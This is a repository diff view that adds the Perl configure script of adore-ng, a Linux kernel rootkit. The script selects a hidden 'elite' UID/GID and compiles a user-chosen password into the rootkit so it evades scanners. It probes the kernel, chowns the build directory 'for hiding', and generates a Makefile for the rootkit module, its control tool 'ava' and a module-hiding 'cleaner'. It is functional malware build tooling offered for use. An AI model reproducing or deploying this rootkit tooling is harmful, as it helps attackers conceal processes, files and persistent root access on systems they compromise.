summaryrefslogtreecommitdiff
path: root/other/adore-ng/configure
diff options
context:
space:
mode:
Diffstat (limited to 'other/adore-ng/configure')
-rwxr-xr-xother/adore-ng/configure243
1 files changed, 243 insertions, 0 deletions
diff --git a/other/adore-ng/configure b/other/adore-ng/configure
new file mode 100755
index 0000000..0edcb41
--- /dev/null
+++ b/other/adore-ng/configure
@@ -0,0 +1,243 @@
1#!/usr/bin/perl
2
3# (C) 2002 by Stealth.
4# Using at your own risk. Licensed under BSDish license.
5# See LICENSE-file. Standard disclaimer applies.
6
7# adore configuration script
8# One can also use Makefile.gen edited by hand
9# when perl is not available or one needs special values
10# (crosscompiling)
11
12#
13# Initializink, Pitr ...
14#
15
16$elite_uid = 0;
17$elite_cmd = 0;
18$cc = "";
19$| = 1;
20$current_adore = 41;
21$bw = shift || 4;
22
23print "\nUsing byte-width of $bw for UID/GID\n";
24
25sub get_pass()
26{
27 print "\n\nSince version 0.33 Adore requires 'authentication' for\n".
28 "its services. You will be prompted for a password now and this\n".
29 "password will be compiled into 'adore' and 'ava' so no further actions\n".
30 "by you are required.\nThis procedure will save adore from scanners.\n".
31 "Try to choose a unique name that is won't clash with filenames in /proc.\n";
32
33 print "Password (echoed):"; my $s = <STDIN>;
34 chop($s);
35 s/"//g;
36 return substr($s, 0, 15);
37}
38
39#
40# find elite UID+GID
41#
42sub get_elite_id()
43{
44 my $uid = 0, $p;
45 if ($bw == 2) {
46 $p = "S";
47 } elsif ($bw == 4) {
48 $p = "I";
49 } else {
50 print "Nuts! Stupid byte-width of $bw. Use either 2 or 4.\n";
51 exit;
52 }
53
54 open(R, "/dev/random") or die "$!";
55 while (defined(getpwuid($uid))) {
56 read R, $uid, $bw;
57 $uid = unpack($p, $uid);
58 }
59 read R, $gid, $bw;
60 close(R);
61 $gid = unpack($p, $gid);
62 return ($uid, $gid);
63}
64
65
66#
67sub check_smp()
68{
69 if (`uname -a` =~ "SMP") {
70 return "YES";
71 } else {
72 return "NO";
73 }
74}
75
76
77sub check_26()
78{
79 if (`uname -r` =~ /2\.6/) {
80 return "YES";
81 } else {
82 return "NO";
83 }
84}
85
86
87# check for CONFIG_MODVERSIONS=y
88sub check_modversions()
89{
90 open I, "</proc/ksyms" or die "open(/proc/ksyms) $!";
91 while (<I>) {
92 if (/kernel_thread_R.+/) {
93 close I;
94 return "YES";
95 }
96 if (/kernel_thread/) {
97 close I;
98 return "NO";
99 }
100 }
101 print "WARN: Can't find kernel_thread!! Using \"NO\"!";
102 return "NO";
103}
104
105#
106# Look for loaded modules
107#
108sub check_modules()
109{
110 print "Loaded modules:\n";
111 system("cat /proc/modules");
112}
113
114#
115# Look where insmod is located
116#
117sub check_insmod()
118{
119 my $s;
120 print "Checking 4 insmod ... ";
121 foreach (qw(/bin /sbin /usr/sbin /usr/bin)) {
122 if (-x ($s = "$_/insmod")) {
123 print "found $s -- OK\n";
124 return $s;
125 }
126 }
127 print "WARN: No insmod found in /bin, /sbin, /usr/sbin, /usr/bin! Fix init-script by hand!\n";
128 return "insmod";
129}
130
131#
132# RH 7 has 'kgcc'
133#
134sub check_cc()
135{
136 my $r;
137 if (-x "/usr/bin/kgcc") {
138 $r = "kgcc";
139 } else {
140 $r = "cc";
141 }
142 return $r;
143}
144
145
146##############################
147#
148# main()
149#
150##############################
151
152print "\nStarting adore configuration ...\n\n";
153($uid, $gid) = get_elite_id();
154
155print "Checking 4 ELITE_UID + ELITE_GID ... ";
156print "found $uid, $gid\n";
157
158
159print "Checking 4 SMP ... ", $has_smp = check_smp(), "\n";
160
161print "Checking 4 MODVERSIONS ... ", $has_modversions = check_modversions(), "\n";
162
163print "Checking for kgcc ... ";
164print "found ", $cc = check_cc(), "\n";
165
166
167$insmod = check_insmod();
168print "\n";
169
170check_modules();
171
172$pwd = get_pass();
173
174
175print "\nPreparing '.' for hiding ... ";
176chown($uid, $gid, ".") or print "(failed)";
177
178print "\n\n";
179print "Creating Makefile ...\n";
180
181print "\n\a*** Edit adore-ng.h for the hidden services ***\n";
182
183#
184# create an Makefile backup.
185#
186
187$date = `date`;
188$date =~ tr/ /_/;
189
190system("touch Makefile;cp Makefile Makefile_$date");
191
192#
193# write Makefile
194#
195
196open(O, ">Makefile") or die "open(Makefile) $!";
197
198print O "#\nCC=$cc\nCFLAGS=-O2 -Wall\n\n";
199print O "#CFLAGS+=-mcpu=i486\nINC=-I/usr/src/linux/include";
200print O "\nCFLAGS+=-DELITE_UID=${uid}U -DELITE_GID=${gid}U\nCFLAGS+=-DCURRENT_ADORE=$current_adore\n".
201 "CFLAGS+=-DADORE_KEY=\\\"$pwd\\\"\n\n";
202
203if ($has_smp eq "NO") {
204 print O "#";
205}
206
207print O "CFLAGS+=-D__SMP__\n";
208
209
210print O "\n";
211
212if ($has_modversions eq "NO") {
213 print O "#";
214}
215
216print O<<_EOF_;
217CFLAGS+=-DMODVERSIONS
218
219all: adore-ng ava cleaner symsed
220
221adore-ng: adore-ng.c
222 rm -f adore-ng.o
223 \$(CC) -c \$(INC) \$(CFLAGS) adore-ng.c -o adore-ng.o
224 \$(CC) -c \$(INC) \$(CFLAGS) -DRELINKED adore-ng.c -o zero.o
225
226ava: ava.c libinvisible.c
227 \$(CC) \$(CFLAGS) ava.c libinvisible.c -o ava
228
229cleaner: cleaner.c
230 \$(CC) \$(INC) -c \$(CFLAGS) cleaner.c
231
232symsed: symsed.c
233 \$(CC) -O2 symsed.c -o symsed
234clean:
235 rm -f core ava symsed *.o
236_EOF_
237
238#
239# Done :>
240#
241
242close O;
243